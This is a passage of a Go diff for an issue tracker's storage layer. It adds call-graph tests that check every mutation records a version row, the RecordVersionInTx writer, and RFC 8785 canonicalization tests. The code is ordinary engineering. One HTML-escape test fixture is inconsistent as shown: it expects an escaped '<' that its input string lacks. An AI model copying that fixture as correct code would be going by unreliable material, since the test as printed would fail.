t.Fatalf("parse package %s: %v", dir, err) + } + mints := journalscan.Fixpoint(fns, + func(f *journalscan.FuncInfo) bool { return f.CallsAnyOf(versionMintHelpers) }, + versionMintEdges(fns)) + return fns, mints +} + +// compositeMintLeaks returns, for a composite mutation f, every function key +// that one of its live edges — the calls left after the literal-false +// constituents are dropped — resolves to and that reaches the seam: each is a +// mint f would perform besides its own. The called bare name is resolved to +// every key it can denote, the free function and every method of that name, +// exactly as the fixpoint resolves it. mints is keyed "Recv.Name" for a +// method, so a bare-name lookup would quietly stop seeing a constituent the +// moment it became one (TestCompositeCheckSeesMethodConstituents). +func compositeMintLeaks(fns map[string]*journalscan.FuncInfo, mints map[string]bool, f *journalscan.FuncInfo) []string { + seen := map[string]bool{} + var leaks []string + for _, callee := range versionMintEdges(fns)(f) { + for _, key := range journalscan.Resolve(fns, callee) { + if mints[key] && !seen[key] { + seen[key] = true + leaks = append(leaks, key) + } + } + } + sort.Strings(leaks) + return leaks +} + +// TestCompositeMutationsCarryTheirOwnMint pins that each composite mutation +// calls RecordVersionInTx itself AND that none of the edges it leaves live +// (after the literal-false constituents are dropped) reaches the seam, each +// called name resolved to every function it can denote (compositeMintLeaks) +// — so the composite's own call is load-bearing, and deleting it fails +// TestEveryVersionedEntryPointMints rather than being papered over by a +// constituent it explicitly told not to mint. +func TestCompositeMutationsCarryTheirOwnMint(t *testing.T) { + fns, mints := versionMints(t) + for _, name := range versionCompositeMutations { + f, defined := fns[name] + if !defined { + t.Errorf("composite mutation %q not found in issueops — was it renamed? update versionCompositeMutations", name) + continue + } + if !f.CallsAnyOf(versionMintHelpers) { + t.Errorf("composite mutation %q does not call RecordVersionInTx itself; it runs its constituents with %s=false, so nothing else mints for it", name, versionMintGate) + } + for _, key := range compositeMintLeaks(fns, mints, f) { + t.Errorf("composite mutation %q would also mint through %q, so its own RecordVersionInTx is no longer the one mint the write-path doc promises — either that constituent is called with %s left on, or it mints unconditionally", name, key, versionMintGate) + } + } +} + +// TestCompositeCheckSeesMethodConstituents proves the composite check against +// a synthetic package whose constituent is a METHOD: the mints fixpoint keys +// it "svc.constituent", the composite calls it by the bare name, and the +// check must still see the mint a call with the gate left on lets through. +// This is what keeps TestCompositeMutationsCarryTheirOwnMint from quietly +// ceasing to bite should a constituent in issueops become a method. +func TestCompositeCheckSeesMethodConstituents(t *testing.T) { + dir := t.TempDir() + src := `package probe + +func RecordVersionInTx() {} + +type svc struct{} + +func (s *svc) constituent(mintVersion bool) { + if mintVersion { + RecordVersionInTx() + } +} + +// Composite runs its constituent with the gate off and mints once itself. +func Composite(s *svc) { s.constituent(false); RecordVersionInTx() } + +// Leaky leaves the gate on, so its constituent mints as well as it does. +func Leaky(s *svc) { s.constituent(true); RecordVersionInTx() } +` + if err := os.WriteFile(filepath.Join(dir, "probe.go"), []byte(src), 0o600); err != nil { + t.Fatal(err) + } + fns, mints := versionMintsIn(t, dir) + if !mints["svc.constituent"] { + t.Fatal("svc.constituent does not mint; the synthetic package no longer exercises a method constituent") + } + if mints["constituent"] { + t.Fatal("mints is keyed by the bare name of a method; the check must resolve to the receiver-qualified key, and this probe no longer shows that it has to") + } + if got := compositeMintLeaks(fns, mints, fns["Composite"]); len(got) != 0 { + t.Errorf("Composite leaks through %q, want nothing: its constituent is switched off", got) + } + if got := compositeMintLeaks(fns, mints, fns["Leaky"]); !reflect.DeepEqual(got, []string{"svc.constituent"}) { + t.Errorf("Leaky leaks through %q, want [svc.constituent]: a method constituent left with the gate on must be seen through its receiver-qualified key", got) + } +} + +// TestFalseIsNotShadowedInIssueops pins the reading CallsOnlyWithLiteralFalse +// rests on as EXACT for this package rather than merely conservative. The +// scanner counts a false argument as the predeclared identifier only when +// nothing it can see declares that name; this walk proves nothing in the +// package does, in any declaration position — so every mintVersion=false in +// issueops is the switch-off the guard takes it for, and no true is a false +// in disguise. Test files are walked too: a package-level shadow in one would +// change what every false in the package means under test. +func TestFalseIsNotShadowedInIssueops(t *testing.T) { + fset := token.NewFileSet() + pkgs, err := parser.ParseDir(fset, ".", nil, parser.SkipObjectResolution) + if err != nil { + t.Fatalf("parse issueops package: %v", err) + } + var positions int + var shadows []string + declared := func(what string, ident *ast.Ident) { + if ident == nil { + return + } + positions++ + if ident.Name == "false" || ident.Name == "true" { + shadows = append(shadows, fmt.Sprintf("%s: %s named %s", fset.Position(ident.Pos()), what, ident.Name)) + } + } + declaredFields := func(what string, list *ast.FieldList) { + if list == nil { + return + } + for _, field := range list.List { + for _, name := range field.Names { + declared(what, name) + } + } + } + for _, pkg := range pkgs { + for _, file := range pkg.Files { + ast.Inspect(file, func(n ast.Node) bool { + switch node := n.(type) { + case *ast.ImportSpec: + declared("import name", node.Name) + case *ast.ValueSpec: + for _, name := range node.Names { + declared("var/const", name) + } + case *ast.TypeSpec: + declared("type", node.Name) + case *ast.FuncDecl: + declared("function", node.Name) + declaredFields("receiver", node.Recv) + case *ast.FuncType: // the signature of a FuncDecl or a FuncLit + declaredFields("parameter", node.Params) + declaredFields("result", node.Results) + case *ast.AssignStmt: + if node.Tok == token.DEFINE { + for _, lhs := range node.Lhs { + if ident, ok := lhs.(*ast.Ident); ok { + declared("short variable declaration", ident) + } + } + } + case *ast.RangeStmt: + if node.Tok == token.DEFINE { + for _, expr := range []ast.Expr{node.Key, node.Value} { + if ident, ok := expr.(*ast.Ident); ok { + declared("range variable", ident) + } + } + } + case *ast.LabeledStmt: + declared("label", node.Label) + } + return true + }) + } + } + if positions == 0 { + t.Fatal("the walk visited no declaration position in issueops — parsing changed; the guard is not actually running") + } + sort.Strings(shadows) + for _, shadow := range shadows { + t.Errorf("%s shadows a predeclared identifier, so a %s=false in this package may not be the switch-off the guard reads it as — rename it", shadow, versionMintGate) + } +} + +// TestLiteralFalseCalleesResolveUnambiguously pins the other half of the +// switch-off's exactness. Resolution is name-based: a called bare name +// denotes the free function of that name AND every method of that name, and +// when a caller switches the name off with mintVersion=false the fixpoint +// drops its edge to all of them — including a same-named function that +// declares no mintVersion and mints unconditionally, whose mint the switch-off +// cannot have switched off. So every callee reached by a literal-false +// mintVersion call must resolve to exactly one function, or every function it +// resolves to must declare the gate; otherwise the name is ambiguous and one +// of them must be renamed. (Resolve's semantics are deliberately left alone: +// name-based resolution is what keeps the guard free of type information.) +func TestLiteralFalseCalleesResolveUnambiguously(t *testing.T) { + fns, _ := versionMints(t) + callers := make([]string, 0, len(fns)) + for key := range fns { + callers = append(callers, key) + } + sort.Strings(callers) + var switchedOff int + checked := map[string]bool{} + for _, caller := range callers { + f := fns[caller] + for _, callee := range f.AllCallNames() { + if !journalscan.CallsOnlyWithLiteralFalse(fns, f, callee, versionMintGate) { + continue + } + switchedOff++ + if checked[callee] { + continue + } + checked[callee] = true + keys := journalscan.Resolve(fns, callee) + if len(keys) == 1 { + continue + } + var ungated []string + for _, key := range keys { + if fns[key].ParamIndex(versionMintGate) < 0 { + ungated = append(ungated, key) + } + } + if len(ungated) > 0 { + t.Errorf("%q is called with %s=false (by %s) and resolves to %q, of which %q declare no %s: the switch-off would drop the fixpoint's edge to a function it cannot have switched off — rename one of them, or give it a %s parameter", callee, versionMintGate, caller, keys, ungated, versionMintGate, versionMintGate) + } + } + } + if switchedOff == 0 { + t.Fatalf("no %s=false call found in issueops — the composite mutations no longer switch their constituents off, or the predicate stopped seeing the literal; the guard is not exercising the switch-off at all", versionMintGate) + } +} + +// TestEveryVersionedEntryPointMints parses this package's source, builds the +// intra-package call graph, and asserts every versioned entry point reaches +// RecordVersionInTx directly or through a function that transitively does. +// If a listed mutation stops minting — directly or through its delegates — +// this test fails. +func TestEveryVersionedEntryPointMints(t *testing.T) { + fns, mints := versionMints(t) + for _, entry := range versionedEntryPoints { + if _, defined := fns[entry]; !defined { + t.Errorf("versioned entry point %q not found in issueops — was it renamed? update versionedEntryPoints", entry) + continue + } + if !mints[entry] { + t.Errorf("versioned entry point %q does not mint a version: it neither calls RecordVersionInTx nor a function that transitively does", entry) + } + } +} + +// TestEveryBeadMutatorMintsOrIsExempt is the STRUCTURAL completeness +// cross-check. It detects, by DML rather than by name, every EXPORTED function +// that writes a work-bead table (INSERT / UPDATE / DELETE against issues, +// wisps, dependencies, labels, comments, and their wisp variants — literal or +// templated table name), and asserts each one mints (reaches RecordVersionInTx +// directly or transitively) OR is explicitly exempted with a reason. A new +// exported mutator that writes a bead table therefore cannot ship without +// either versioning or being justified in versionExemptions. +func TestEveryBeadMutatorMintsOrIsExempt(t *testing.T) { + fns, mints := versionMints(t) + + beadDML := journalscan.Fixpoint(fns, + func(f *journalscan.FuncInfo) bool { return f.OwnBeadDML }, + func(f *journalscan.FuncInfo) []string { return f.IdentCalls }) + + seenExempt := map[string]bool{} + var checked int + for key, f := range fns { + if f.Recv != "" || !f.Exported || !beadDML[key] { + continue + } + if reason, ok := versionExemptions[f.Name]; ok { + if reason == "" { + t.Errorf("%s has an empty exemption reason", f.Name) + } + seenExempt[f.Name] = true + continue + } + checked++ + if !mints[key] { + t.Errorf("exported function %q writes a work-bead table but mints no version (no RecordVersionInTx directly or transitively) and is not exempted — make it mint, or add it to versionExemptions with a reason", f.Name) + } + } + + if checked == 0 { + t.Fatal("cross-check found no exported bead mutators — DML detection or parsing changed; the guard is not actually running") + } + for m := range versionExemptions { + if !seenExempt[m] { + t.Errorf("exemption %q no longer matches an exported bead-writing function — remove it", m) + } + } +} + +// TestVersionNeverMintsPathsStaySilent is the inverse guard. A deliberate +// decision NOT to version is as much a contract as a decision to version, and +// the structural check above cannot defend it. Each entry must still exist (a +// rename invalidates the ruling) and must still be silent (an added mint +// reverses it). +func TestVersionNeverMintsPathsStaySilent(t *testing.T) { + fns, mints := versionMints(t) + for name, reason := range versionNeverMints { + if reason == "" { + t.Errorf("%s has an empty exemption reason", name) + } + if _, defined := fns[name]; !defined { + t.Errorf("never-mints path %q not found in issueops — was it renamed? update versionNeverMints", name) + continue + } + if mints[name] { + t.Errorf("never-mints path %q now reaches RecordVersionInTx, reversing a deliberate ruling: %s\n"+ + "If the ruling changed, move it to versionedEntryPoints; otherwise remove the mint.", name, reason) + } + } +} + +// TestVersionedEntryPointsAreNotExempt keeps the two tables disjoint: a +// function cannot both be required to mint and be excused from it. +func TestVersionedEntryPointsAreNotExempt(t *testing.T) { + for _, entry := range versionedEntryPoints { + if _, ok := versionExemptions[entry]; ok { + t.Errorf("%q is both a versioned entry point and exempt — pick one", entry) + } + if _, ok := versionNeverMints[entry]; ok { + t.Errorf("%q is both a versioned entry point and a never-mints path — pick one", entry) + } + } +} diff --git a/internal/storage/issueops/version_history.go b/internal/storage/issueops/version_history.go new file mode 100644 index 000000000..8501f67a3 --- /dev/null +++ b/internal/storage/issueops/version_history.go @@ -0,0 +1,260 @@ +package issueops + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "fmt" + "sync" + "time" + + "github.com/gowebpki/jcs" +) + +// Dual-write issue-version history records every accepted issue mutation as a +// row in issue_versions, written in the SAME transaction as the mutation +// itself (see internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql). +// Activation mirrors the durable events journal (journal.go): a per-instance +// flag (storage.VersionedHistoryConfigurer) is bound to a concrete +// transaction via ScopeVersionedHistoryTransaction immediately after +// BeginTx, so enabling history on one store instance cannot turn it on for +// any other sharing the process. +// +// RecordVersionInTx is the single seam both direct-SQL legs (dolt, +// embeddeddolt) and the domain/db package (used by uow) call through, from +// inside the same already-short-circuited functions that call +// RecordEventInTx — every accepted mutation of an issue's durable state +// (create, update, close, reopen, claim, release, lease reclaim, defer wake, +// label add/remove, dependency add/remove, promote, persistence move) mints +// exactly one row, as its LAST durable-state write; a no-op mints none. A +// mutation DiscardNoopIssueUpdates has already discarded never reaches either +// seam; the label and dependency helpers, which that filter does not cover, +// gate on their own inserted/deleted row instead (an idempotent re-add or an +// absent remove never reaches this seam either). Composite mutations — +// ExecuteUpdate's claim + row write + label/parent/persistence patches, and a +// batch create's rows + creation-time edges — run their constituents without +// minting and mint once at the end, so the version carries the final state. +// version_completeness_test.go pins the set of issueops functions that must +// reach this seam and the ones deliberately exempt from it. +// +// Ordinals are LOCAL, not wire addresses. issues.current_revision and +// issue_versions.revision are per-store ordinals, minted as MAX(revision)+1 +// inside the writing transaction: two disconnected clones can both hold +// revision 8 for the same issue, each describing a different state. The +// only durable address of a version is version_id (migration 0068 steps +// 1-3, not yet landed). The HTTP API's RowVersion/Revision is a +// compare-and-set token, never an address; Phase 3's read surface returns +// version_id, never the ordinal. +// +// SINGLE WRITER ONLY until the version_id primary-key swap lands. With +// PRIMARY KEY (issue_id, revision), two disconnected writers that each mint +// the same ordinal for the same issue collide on merge, and +// TryAutoResolveMergeConflicts (internal/storage/versioncontrolops/mergesettle.go) fails the +// pull for a table it does not know. Enabling versioned history is therefore +// safe only with a SINGLE writer per store until migration 0068 steps 1-3 +// (UUID version_id primary key, ordinal demoted to an index) land; those +// steps follow as their own PR. +// +// "Single writer" means one writer AT A TIME per store, not merely one +// clone. SELECT COALESCE(MAX(revision), 0) + 1 against PRIMARY KEY +// (issue_id, revision) is not a safe allocator for two concurrent +// transactions in one store either, and the label and dependency paths are +// not serialized on the issue row the way the claim/close CAS is; the +// RunDualWrite* contract cases exclude concurrent writers, so no test +// speaks to it. Tracked as gastownhall/beads#6379 (item 4). + +var versionedHistoryTransactions sync.Map // map[DBTX]bool; entries live for one transaction + +// ScopeVersionedHistoryTransaction associates versioned-history activation +// with one concrete transaction and returns a cleanup function. Store +// implementations call it immediately after BeginTx, alongside (not instead +// of) ScopeEventsJournalTransaction. This is instance/project scoped even +// when many stores share a process; there is no process-wide activation +// switch. +func ScopeVersionedHistoryTransaction(tx DBTX, enabled bool) func() { + if tx == nil { + return func() {} + } + versionedHistoryTransactions.Store(tx, enabled) + return func() { versionedHistoryTransactions.Delete(tx) } +} + +func versionedHistoryEnabled(tx DBTX) bool { + enabled, _ := versionedHistoryTransactions.Load(tx) + on, _ := enabled.(bool) + return on +} + +// issue_versions.attribution_status is a NOT NULL column (migration 0068 +// step 6) whose vocabulary aligns to BDP's carried-attribution status +// (gastownhall/bdp#18, merged 2026-09-07): status ∈ {claimed, unknown}. A +// status is an assertion about the actor the mutation arrived with — +// "claimed" when one was supplied, "unknown" when the mutation path had none +// — and is derived from the same actor string every RecordVersionInTx call +// site already passes (no call site carries any other attribution signal). +// +// "imported" is deliberately NOT a status: it is provenance (where a row +// came from), not an assertion about who performed the mutation. It returns +// as a separate provenance marker in the phase that first imports history; +// no writer for it exists yet — Phase 2 is this table's sole writer, and +// every row it mints originated as an accepted mutation. +const ( + attributionStatusClaimed = "claimed" + attributionStatusUnknown = "unknown" +) + +// attributionStatusForActor derives issue_versions.attribution_status from +// the same actor string every RecordVersionInTx call site already passes: a +// non-empty actor is "claimed", an empty one is "unknown". There is no +// third value — an empty actor means the path had no identity to assert, +// which is exactly what "unknown" says; any stronger reading (a deliberate, +// confirmed absence of attribution) is a claim no call site makes. +func attributionStatusForActor(actor string) string { + if actor == "" { + return attributionStatusUnknown + } + return attributionStatusClaimed +} + +// canonicalDurableState renders issue as the bytes RecordVersionInTx stores +// in issue_versions.durable_state: encoding/json's marshal of the issue, +// canonicalized per RFC 8785 (JCS). The canonical form is a function of the +// issue's content alone -- keys sorted, numbers in their one ES6 form +// (1.0 is 1, 1e300 is 1e+300), only the escapes RFC 8785 requires -- so the +// same issue state always yields the same bytes, whatever encoding/json's +// formatting happens to be. Numbers are canonicalized as IEEE-754 doubles +// (RFC 8785 section 3.2.2.3), so an integer past 2^53 is rounded here, once, +// by the writer, before anything hashes it: the stored bytes and the hashed +// bytes are the same bytes. types.Issue carries no such magnitudes (its +// integers are ordinals and priorities), but the rule is stated so nobody +// expects int64 fidelity from the token. +// +// Two properties worth stating because a hand-rolled canonicalizer would get +// them wrong. First, jcs.Transform normalizes away encoding/json's HTML +// escaping of <, > and &, so the token is a function of content, not of +// Go's escaping policy. Second, a snapshot that cannot be canonicalized +// deliberately FAILS the mutation: types.Issue.Metadata is a json.RawMessage +// passed through verbatim, RFC 8785 rejects duplicate keys, and this seam +// returns the error to its caller, which aborts the transaction. An issue +// whose metadata column already holds duplicate keys (reachable through bd +// sql or a hand-written JSONL import) therefore mutates fine with the flag +// off and becomes unmutatable with it on. Fail-closed is the policy for now +// -- bytes that could canonicalize two ways would not be a content token -- +// and whether to normalize such metadata first, or to find such rows with +// bd doctor, is gastownhall/beads#6379 (item 3). +func canonicalDurableState(issue any) ([]byte, error) { + marshaled, err := json.Marshal(issue) + if err != nil { + return nil, err + } + canonical, err := jcs.Transform(marshaled) + if err != nil { + return nil, fmt.Errorf("canonicalize (RFC 8785): %w", err) + } + return canonical, nil +} + +// RecordVersionInTx mints one issue_versions row for issueID and advances +// issues.current_revision to match, as of tx (read-your-writes within the +// same transaction). A no-op when versioned history is disabled for tx, or +// when issueID resolves to a wisp: wisps carry current_revision for shape +// parity only and are never versioned this phase (design FR-8). IsWisp is +// Ephemeral || NoHistory, so a promoted no-history bead -- a durable +// issues-plane row with NoHistory=true -- is also never versioned; that is +// what no-history means, not an FR-8 wisp rule, and the write-path doc's +// row 13 says so. +// +// The revision it mints is a local ordinal, not an address — see the +// package comment above on ordinals versus version_id, and on the +// single-writer constraint that holds until version_id lands. +// +// actor is the acting identity that performed the mutation, recorded as the +// version row's attribution — "" when the mutation path genuinely has none, +// matching RecordEventInTx's own convention. It also drives +// attribution_status via attributionStatusForActor. +func RecordVersionInTx(ctx context.Context, tx DBTX, issueID, actor string) error { + if !versionedHistoryEnabled(tx) { + return nil + } + + issue, err := GetIssueInTx(ctx, tx, issueID) + if err != nil { + return fmt.Errorf("versioned history: snapshot %s: %w", issueID, err) + } + if IsWisp(issue) { + return nil + } + + // durable_state is the RFC 8785 (JCS) canonical form of the marshaled + // issue, stored as bytes -- issue_versions.durable_state is a LONGBLOB + // (migration 0068 step 7), not a JSON column. The invariant that buys, + // the one donnabox asked for on #6358 item 4: sha256(stored bytes) is a + // stable content token, because the bytes read back are exactly the + // bytes the writer produced. A Dolt JSON column could not provide that. + // It parses and renormalizes what it stores (measured on dolt 2.2.3: + // 1.0 reads back as 1, 9007199254740993 as 9007199254740992, 1e300 as + // 1e+300, while a LONGBLOB returns the same bytes) -- so the design's + // verbatim-bytes promise (R5.1) and any content-derived token (#5898's + // sha256-jcs) broke between the writer and the disk. JCS pins the bytes + // on the way in (canonicalDurableState); LONGBLOB keeps them as written. + // + // The snapshot itself is the mutated issue (design §15.3, corrected by + // §17.1): the write-path loader GetIssueInTx never hydrates Dependencies + // (types.Issue.Dependencies is omitempty and unrelated to this snapshot's + // own read), so it is populated here, once, for every caller of this + // seam — in GetDependencyRecordsForIssuesInTx's own ordering (issue_id, + // depends_on_id, type, id). + deps, err := GetDependencyRecordsForIssuesInTx(ctx, tx, []string{issueID}) + if err != nil { + return fmt.Errorf("versioned history: load dependencies for %s: %w", issueID, err) + } + issue.Dependencies = deps[issueID] + + // store_epoch is one shared row (id = 1) that every minting transaction + // reads. Read first and seed only when the row is absent, so the seed + // INSERT happens once per store rather than once per mint: an INSERT IGNORE + // on every mint put that shared row into every write transaction's + // footprint for nothing. + var epoch int + err = tx.QueryRowContext(ctx, "SELECT epoch FROM store_epoch WHERE id = 1").Scan(&epoch) + if errors.Is(err, sql.ErrNoRows) { + if _, seedErr := tx.ExecContext(ctx, "INSERT IGNORE INTO store_epoch (id, epoch) VALUES (1, 1)"); seedErr != nil { + return fmt.Errorf("versioned history: seed store epoch: %w", seedErr) + } + err = tx.QueryRowContext(ctx, "SELECT epoch FROM store_epoch WHERE id = 1").Scan(&epoch) + } + if err != nil { + return fmt.Errorf("versioned history: read store epoch: %w", err) + } + + var newRevision int64 + if err := tx.QueryRowContext(ctx, + "SELECT COALESCE(MAX(revision), 0) + 1 FROM issue_versions WHERE issue_id = ?", issueID, + ).Scan(&newRevision); err != nil { + return fmt.Errorf("versioned history: compute next revision for %s: %w", issueID, err) + } + + durableState, err := canonicalDurableState(issue) + if err != nil { + return fmt.Errorf("versioned history: marshal durable state for %s: %w", issueID, err) + } + + // durableState is bound as []byte, a LONGBLOB parameter -- never + // string(durableState), which would ask the driver to treat it as text. + if _, err := tx.ExecContext(ctx, + `INSERT INTO issue_versions + (issue_id, revision, epoch, durable_state, change_actor, change_agent, change_message, change_at, attribution_status) + VALUES (?, ?, ?, ?, ?, NULL, NULL, ?, ?)`, + issueID, newRevision, epoch, durableState, actor, time.Now().UTC(), attributionStatusForActor(actor), + ); err != nil { + return fmt.Errorf("versioned history: insert version row for %s: %w", issueID, err) + } + + if _, err := tx.ExecContext(ctx, + "UPDATE issues SET current_revision = ? WHERE id = ?", newRevision, issueID, + ); err != nil { + return fmt.Errorf("versioned history: advance current_revision for %s: %w", issueID, err) + } + return nil +} diff --git a/internal/storage/issueops/version_history_durable_state_test.go b/internal/storage/issueops/version_history_durable_state_test.go new file mode 100644 index 000000000..957b55db1 --- /dev/null +++ b/internal/storage/issueops/version_history_durable_state_test.go @@ -0,0 +1,228 @@ +package issueops + +import ( + "bytes" + "crypto/sha256" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" +) + +// TestCanonicalDurableStateIsJCS pins that canonicalDurableState -- the one +// helper RecordVersionInTx stores through -- emits the RFC 8785 (JCS) form, +// not encoding/json's, and that the difference is real: the same value +// marshaled without the JCS step yields different bytes. +// +// Why this matters (donnabox on gastownhall/beads#6358 item 4): the token +// the design derives from durable_state (#5898, sha256-jcs) is only stable if +// the bytes hashed are the bytes stored. Migration 0068 step 7 makes the +// column a LONGBLOB so storage keeps bytes verbatim; this test covers the +// other half, that the writer's bytes are the canonical ones in the first +// place, so the token is a function of content and not of whatever +// encoding/json or a caller-supplied json.Number happened to emit. +// +// The number inputs use json.Number and json.RawMessage deliberately: they +// are the only way to get encoding/json to emit a non-canonical number form +// such as 1.0 or 1E300 verbatim (a float64 1.0 already marshals as 1), which +// is exactly the input a JSON column would have renormalized on its own. +// +// Numbers are one axis. The rest of the pin is table-driven: the RFC 8785 +// test vectors that ship with gowebpki/jcs v1.0.1 (testdata/jcs, see its +// README.md), a key-ordering case the vectors leave implicit (RFC 8785 +// sorts keys by UTF-16 code units, so an astral-plane key sorts AFTER "é" +// even though its first byte is smaller), and the one place encoding/json +// and RFC 8785 disagree for ordinary issue text: encoding/json escapes <, > +// and & as \u003c-style sequences and JCS does not, so the stored bytes must +// be the JCS form or the token would depend on which marshaler ran first. +// Every case is also checked to be a fixed point of canonicalization, and a +// duplicate-key input is refused rather than silently resolved. +func TestCanonicalDurableStateIsJCS(t *testing.T) { + t.Parallel() + + cases := append(jcsTestVectors(t), + jcsCase{ + name: "unicode and astral keys sort by UTF-16 code units", + state: json.RawMessage(`{"b":1,"a":2,"é":3,"A":4,"😀":5}`), + want: []byte(`{"A":4,"a":2,"b":1,"é":3,"😀":5}`), + }, + jcsCase{ + name: "html escapes are normalized away", + state: map[string]any{"s": `&"'`}, + want: []byte(`{"s":"&\"'"}`), + }, + ) + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + got, err := canonicalDurableState(tc.state) + if err != nil { + t.Fatalf("canonicalDurableState: %v", err) + } + if !bytes.Equal(got, tc.want) { + t.Fatalf("canonicalDurableState =\n %s\nwant\n %s", got, tc.want) + } + // canonical(canonical(x)) == canonical(x): the stored bytes are + // a fixed point, so re-canonicalizing what was read back can + // never change the token. + again, err := canonicalDurableState(json.RawMessage(got)) + if err != nil { + t.Fatalf("canonicalDurableState over its own output: %v", err) + } + if !bytes.Equal(again, got) { + t.Fatalf("canonical form is not a fixed point:\n %s\n %s", got, again) + } + }) + } + + t.Run("plain marshal html-escapes and the canonical form does not", func(t *testing.T) { + t.Parallel() + // The normalization above is doing work: the plain marshal of the + // same value carries encoding/json's HTML-safe escapes, which RFC + // 8785 does not permit (only the escapes it requires survive). + plain, err := json.Marshal(map[string]any{"s": `&"'`}) + if err != nil { + t.Fatalf("json.Marshal: %v", err) + } + if !bytes.Contains(plain, []byte(`\u003c`)) || !bytes.Contains(plain, []byte(`\u0026`)) { + t.Fatalf("plain json.Marshal no longer HTML-escapes (%s); the fixture no longer exercises the normalization", plain) + } + got, err := canonicalDurableState(json.RawMessage(plain)) + if err != nil { + t.Fatalf("canonicalDurableState: %v", err) + } + if bytes.Contains(got, []byte(`\u00`)) { + t.Fatalf("canonical form still carries a \\u00xx escape: %s", got) + } + }) + + t.Run("duplicate keys are rejected", func(t *testing.T) { + t.Parallel() + // RFC 8785 has no answer for a duplicate key (section 3.1 forbids + // them), and encoding/json's compaction lets the input through, so + // the JCS step is the only place a snapshot with two "k"s can be + // refused instead of stored with whichever value happened to win. + _, err := canonicalDurableState(json.RawMessage(`{"k":1,"k":2}`)) + if err == nil { + t.Fatal("canonicalDurableState(duplicate keys) = nil error, want a refusal") + } + if !strings.Contains(err.Error(), "Duplicate key") { + t.Fatalf("canonicalDurableState(duplicate keys) error = %q, want it to name the duplicate key", err) + } + }) + + // Issue-shaped: string id, nested object, list, null, and the number + // forms that Dolt's JSON type is known to renormalize. + state := map[string]any{ + "id": "bd-1", + "priority": json.Number("1.0"), + "metadata": map[string]any{ + "weight": json.Number("1.50"), + "huge": json.Number("1E300"), + "ordinal": json.Number("9007199254740993"), // 2^53 + 1 + "tags": []any{json.Number("2.0"), "b", nil}, + }, + "raw": json.RawMessage(`{ "z" : 10.0e0 , "a" : true }`), + } + + got, err := canonicalDurableState(state) + if err != nil { + t.Fatalf("canonicalDurableState: %v", err) + } + + // RFC 8785: keys sorted, no whitespace, numbers in ES6 Number::toString + // form (1.0 -> 1, 1.50 -> 1.5, 1E300 -> 1e+300, 2^53+1 -> the double it + // rounds to, 10.0e0 -> 10). + want := []byte(`{"id":"bd-1","metadata":{"huge":1e+300,"ordinal":9007199254740992,"tags":[2,"b",null],"weight":1.5},"priority":1,"raw":{"a":true,"z":10}}`) + if !bytes.Equal(got, want) { + t.Fatalf("canonicalDurableState =\n %s\nwant\n %s", got, want) + } + + // The JCS step is doing work: a plain marshal of the same value keeps + // the caller's number forms and spacing, so its bytes differ. + plain, err := json.Marshal(state) + if err != nil { + t.Fatalf("json.Marshal: %v", err) + } + if bytes.Equal(plain, got) { + t.Fatalf("plain json.Marshal already equals the canonical form (%s); this test no longer proves canonicalization matters", plain) + } + for _, nonCanonical := range []string{"1.0", "1.50", "1E300", "9007199254740993", "10.0e0"} { + if !bytes.Contains(plain, []byte(nonCanonical)) { + t.Errorf("plain marshal lost the non-canonical form %q, so the fixture no longer exercises it: %s", nonCanonical, plain) + } + if bytes.Contains(got, []byte(nonCanonical)) { + t.Errorf("canonical form still carries the non-canonical form %q: %s", nonCanonical, got) + } + } + + // Determinism: the token is a function of the content. A second pass + // over the same value, and over the already-canonical bytes, hashes + // identically. + again, err := canonicalDurableState(state) + if err != nil { + t.Fatalf("canonicalDurableState (second pass): %v", err) + } + if sha256.Sum256(again) != sha256.Sum256(got) { + t.Fatalf("canonicalDurableState is not deterministic:\n %s\n %s", got, again) + } + idempotent, err := canonicalDurableState(json.RawMessage(got)) + if err != nil { + t.Fatalf("canonicalDurableState over its own output: %v", err) + } + if !bytes.Equal(idempotent, got) { + t.Fatalf("canonical form is not a fixed point:\n %s\n %s", got, idempotent) + } +} + +// jcsCase is one canonicalization pin: what RecordVersionInTx would hand to +// canonicalDurableState, and the exact bytes RFC 8785 says come out. +type jcsCase struct { + name string + state any + want []byte +} + +// jcsTestVectors loads the RFC 8785 input/expected pairs under testdata/jcs +// (provenance in its README.md; the upstream "output" directory is named +// "expected" here because the repository's .gitignore drops any output/ +// tree). The count is pinned so an emptied or half-copied directory cannot +// pass as a vacuous table. +func jcsTestVectors(t *testing.T) []jcsCase { + t.Helper() + const shipped = 10 // the vectors in gowebpki/jcs v1.0.1's testdata + dir := filepath.Join("testdata", "jcs") + entries, err := os.ReadDir(filepath.Join(dir, "input")) + if err != nil { + t.Fatalf("list RFC 8785 vectors: %v", err) + } + var cases []jcsCase + for _, entry := range entries { + input, err := os.ReadFile(filepath.Join(dir, "input", entry.Name())) + if err != nil { + t.Fatalf("read RFC 8785 vector input: %v", err) + } + want, err := os.ReadFile(filepath.Join(dir, "expected", entry.Name())) + if err != nil { + t.Fatalf("read RFC 8785 vector output: %v", err) + } + cases = append(cases, jcsCase{name: "rfc8785 vector " + entry.Name(), state: json.RawMessage(input), want: want}) + } + if len(cases) != shipped { + t.Fatalf("found %d RFC 8785 vectors under %s, want the %d that ship with gowebpki/jcs v1.0.1", len(cases), dir, shipped) + } + return cases +} + +// TestCanonicalDurableStateRejectsUnmarshalableState pins that a value +// encoding/json cannot marshal surfaces as an error rather than as an empty +// or partial snapshot, so RecordVersionInTx fails the transaction instead of +// minting a version row whose durable_state says nothing. +func TestCanonicalDurableStateRejectsUnmarshalableState(t *testing.T) { + t.Parallel() + + if _, err := canonicalDurableState(map[string]any{"ch": make(chan int)}); err == nil { + t.Fatal("canonicalDurableState(unmarshalable) = nil error, want an error") + } +} diff --git a/internal/storage/issueops/version_history_test.go b/internal/storage/issueops/version_history_test.go new file mode 100644 index 000000000..3c8818403 --- /dev/null +++ b/internal/storage/issueops/version_history_test.go @@ -0,0 +1,61 @@ +package issueops + +import "testing" + +// These tests pin the derivation rule for issue_versions.attribution_status, +// the NOT NULL column migration 0068 step 6 adds. Its vocabulary is BDP's +// carried-attribution status (gastownhall/bdp#18, merged 2026-09-07): exactly +// two values, "claimed" and "unknown". "imported" is provenance, not an +// assertion, and is not a status — it returns as a separate provenance marker +// in the phase that first imports history, for which no writer exists yet. +// +// RecordVersionInTx receives only a plain actor string from every call site +// (none passes any additional attribution context), so the only signal +// available to derive attribution_status from is whether actor is empty: a +// 